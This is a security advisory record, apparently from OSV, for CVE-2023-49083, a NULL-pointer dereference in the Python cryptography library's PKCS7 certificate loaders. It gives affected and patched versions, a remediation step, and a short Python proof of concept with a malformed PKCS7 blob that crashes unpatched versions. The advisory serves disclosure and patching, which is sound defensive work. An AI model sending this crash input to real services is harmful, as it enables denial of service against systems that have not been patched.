---
id: CVE-2023-49083
aliases:
  - GHSA-jfhm-5ghh-2f97
  - PYSEC-2023-254
title: cryptography vulnerable to NULL-dereference when loading PKCS7 certificates
summary: cryptography vulnerable to NULL-dereference when loading PKCS7 certificates
severity: medium
cvss: 5.9
cvssVector: 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H'
vendor: cryptography
product: cryptography
ecosystem: pip
affected:
  - 'cryptography >= 3.1, < 41.0.6'
patched:
  - cryptography 41.0.6
published: '2023-11-28'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:49:59.095260608Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-jfhm-5ghh-2f97'
references:
  - url: >-
      https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2023-49083'
  - url: 'https://github.com/pyca/cryptography/pull/9926'
  - url: >-
      https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a
  - url: 'https://github.com/pyca/cryptography'
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml
  - url: 'https://lists.debian.org/debian-lts-announce/2024/10/msg00012.html'
  - url: >-
      https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV
  - url: 'http://www.openwall.com/lists/oss-security/2023/11/29/2'
tags:
  - osv
  - pip
epss: 0.00985
epssPercentile: 0.60881
ingestedAt: '2026-09-12T03:13:01.705Z'
---

## Overview

### Summary

Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.

### PoC
Here is a Python code that triggers the issue:
```python
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
```

### Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

## Affected packages

- `cryptography >= 3.1, < 41.0.6`

## Remediation

Upgrade to a patched release:

- `cryptography 41.0.6`